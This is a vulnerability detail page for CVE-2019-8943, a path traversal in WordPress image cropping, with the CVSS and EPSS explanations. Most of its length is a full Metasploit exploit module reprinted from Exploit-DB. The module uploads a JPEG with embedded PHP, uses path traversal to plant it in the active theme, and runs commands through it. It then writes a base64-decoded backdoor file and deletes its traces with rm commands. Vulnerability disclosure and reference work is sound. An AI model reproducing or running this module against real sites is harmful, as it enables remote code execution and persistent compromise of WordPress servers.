CVE-2019-8943 Detail

CVE-2019-8943

Score / Severity

6.5

Medium

CVE Descriptions

WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	6.5	MEDIUM	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. None There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	4		AV:N/AC:L/Au:S/C:N/I:P/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 46662

Publication date : 2019-04-04 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress Crop-image Shell Upload', 'Description' => %q{ This module exploits a path traversal and a local file inclusion vulnerability on WordPress versions 5.0.0 and <= 4.9.8. The crop-image function allows a user, with at least author privileges, to resize an image and perform a path traversal by changing the _wp_attached_file reference during the upload. The second part of the exploit will include this image in the current theme by changing the _wp_page_template attribute when creating a post. This exploit module only works for Unix-based systems currently. }, 'License' => MSF_LICENSE, 'Author' => [ 'RIPSTECH Technology', # Discovery 'Wilfried Becard <[email protected]>' # Metasploit module ], 'References' => [ [ 'CVE', '2019-8942' ], [ 'CVE', '2019-8943' ], [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/'] ], 'DisclosureDate' => 'Feb 19 2019', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['WordPress', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) ]) end def check cookie = wordpress_login(username, password) if cookie.nil? store_valid_credential(user: username, private: password, proof: cookie) return CheckCode::Safe end CheckCode::Appears end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def get_wpnonce(cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie ) if res && res.code == 200 && res.body && !res.body.empty? res.get_hidden_inputs.first["_wpnonce"] end end def get_wpnonce2(image_id, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie, 'vars_get' => { 'post' => image_id, 'action' => "edit" } ) if res && res.code == 200 && res.body && !res.body.empty? tmp = res.get_hidden_inputs wpnonce2 = tmp[1].first[1] end end def get_current_theme uri = normalize_uri(datastore['TARGETURI']) res = send_request_cgi!( 'method' => 'GET', 'uri' => uri ) fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty? theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme theme end def get_ajaxnonce(cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => 'query-attachments', 'post_id' => '0', 'query[item]' => '43', 'query[orderby]' => 'date', 'query[order]' => 'DESC', 'query[posts_per_page]' => '40', 'query[paged]' => '1' } ) fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty? a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce a_nonce end def upload_file(img_name, wp_nonce, cookie) img_data = %w[ FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F 74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00 10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00 3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69 6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D 20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09 08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D 27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1 15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73 74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4 D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09 23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E ] img_data = [img_data.join].pack('H*') img_name += '.jpg' boundary = "#{rand_text_alphanumeric(rand(10) + 5)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"name\"\r\n" post_data << "\r\n#{img_name}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"action\"\r\n" post_data << "\r\nupload-attachment\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" post_data << "\r\n#{wp_nonce}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{img_name}\"\r\n" post_data << "Content-Type: image/jpeg\r\n" post_data << "\r\n#{img_data}\r\n" post_data << "--#{boundary}--\r\n" print_status("Uploading payload") upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php') res = send_request_cgi( 'method' => 'POST', 'uri' => upload_uri, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data, 'cookie' => cookie ) fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty? print_good("Image uploaded") res = JSON.parse(res.body) image_id = res["data"]["id"] update_nonce = res["data"]["nonces"]["update"] filename = res["data"]["filename"] return filename, image_id, update_nonce end def image_editor(img_name, ajax_nonce, image_id, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => 'image-editor', '_ajax_nonce' => ajax_nonce, 'postid' => image_id, 'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]', 'target' => 'all', 'context' => '', 'do' => 'save' } ) fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty? filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename filename << '.jpg' end def change_path(wpnonce2, image_id, filename, current_date, path, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wpnonce2, 'action' => 'editpost', 'post_ID' => image_id, 'meta_input[_wp_attached_file]' => "#{current_date}#{filename}#{path}" } ) end def crop_image(image_id, ajax_nonce, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => 'crop-image', '_ajax_nonce' => ajax_nonce, 'id' => image_id, 'cropDetails[x1]' => 0, 'cropDetails[y1]' => 0, 'cropDetails[width]' => 400, 'cropDetails[height]' => 300, 'cropDetails[dst_width]' => 400, 'cropDetails[dst_height]' => 300 } ) end def include_theme(shell_name, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie ) if res && res.code == 200 && res.body && !res.body.empty? wpnonce2 = res.body.scan(/name="_wpnonce" value="(\w+)"/).flatten.first post_id = res.body.scan(/"post":{"id":(\w+),/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id post_title = Rex::Text.rand_text_alpha(10) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { '_wpnonce'=> wpnonce2, 'action' => 'editpost', 'post_ID' => post_id, 'post_title' => post_title, 'post_name' => post_title, 'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg" } ) fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302 post_id end end def check_for_base64(cookie, post_id) uri = normalize_uri(datastore['TARGETURI']) # Test if base64 is on target test_string = 'YmFzZTY0c3BvdHRlZAo=' res = send_request_cgi!( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie, 'vars_get' => { 'p' => post_id, '0' => "echo #{test_string} | base64 -d" } ) fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty? fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted") # Execute payload with base64 decode @backdoor = Rex::Text.rand_text_alpha(10) encoded = Rex::Text.encode_base64(payload.encoded) res = send_request_cgi!( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie, 'vars_get' => { 'p' => post_id, '0' => "echo #{encoded} | base64 -d > #{@backdoor}.php" } ) fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty? send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php"), 'cookie' => cookie ) end def wp_cleanup(shell_name, post_id, cookie) print_status('Attempting to clean up files...') uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => "query-attachments" } ) fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty? infos = res.body.scan(/id":(\d+),.*filename":"cropped-#{shell_name}".*?"delete":"(\w+)".*"id":(\d+),.*filename":"cropped-x".*?"delete":"(\w+)".*"id":(\d+),.*filename":"#{shell_name}".*?"delete":"(\w+)"/).flatten id1, id2, id3 = infos[0], infos[2], infos[4] delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5] for i in (0...6).step(2) res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => "delete-post", 'id' => infos[i], '_wpnonce' => infos[i+1] } ) end uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri1, 'cookie' => cookie ) if res && res.code == 200 && res.body && !res.body.empty? post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\w+)/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri2, 'cookie' => cookie, 'vars_get' => { 'post' => post_id, 'action' => 'trash', '_wpnonce' => post_nonce } ) fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302 res = send_request_cgi( 'method' => 'GET', 'uri' => uri1, 'cookie' => cookie, 'vars_get' => { 'post_status' => "trash", 'post_type' => 'post', '_wpnonce' => post_nonce } ) if res && res.code == 200 && res.body && !res.body.empty? nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\w+)/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce send_request_cgi( 'method' => 'GET', 'uri' => uri2, 'cookie' => cookie, 'vars_get' => { 'post' => post_id, 'action' => 'delete', '_wpnonce' => nonce } ) end end end def exploit fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? print_status("Authenticating with WordPress using #{username}:#{password}...") cookie = wordpress_login(username, password) fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? print_good("Authenticated with WordPress") store_valid_credential(user: username, private: password, proof: cookie) print_status("Preparing payload...") @current_theme = get_current_theme wp_nonce = get_wpnonce(cookie) @current_date = Time.now.strftime("%Y/%m/") img_name = Rex::Text.rand_text_alpha(10) @filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie) ajax_nonce = get_ajaxnonce(cookie) @filename1 = image_editor(img_name, ajax_nonce, image_id, cookie) wpnonce2 = get_wpnonce2(image_id, cookie) change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie) crop_image(image_id, ajax_nonce, cookie) @shell_name = Rex::Text.rand_text_alpha(10) change_path(wpnonce2, image_id, @filename1, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie) crop_image(image_id, ajax_nonce, cookie) print_status("Including into theme") post_id = include_theme(@shell_name, cookie) check_for_base64(cookie, post_id) wp_cleanup(@shell_name, post_id, cookie) end def on_new_session(client) client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*") client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*") client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*") client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg") client.shell_command_token("rm #{@backdoor}.php") end end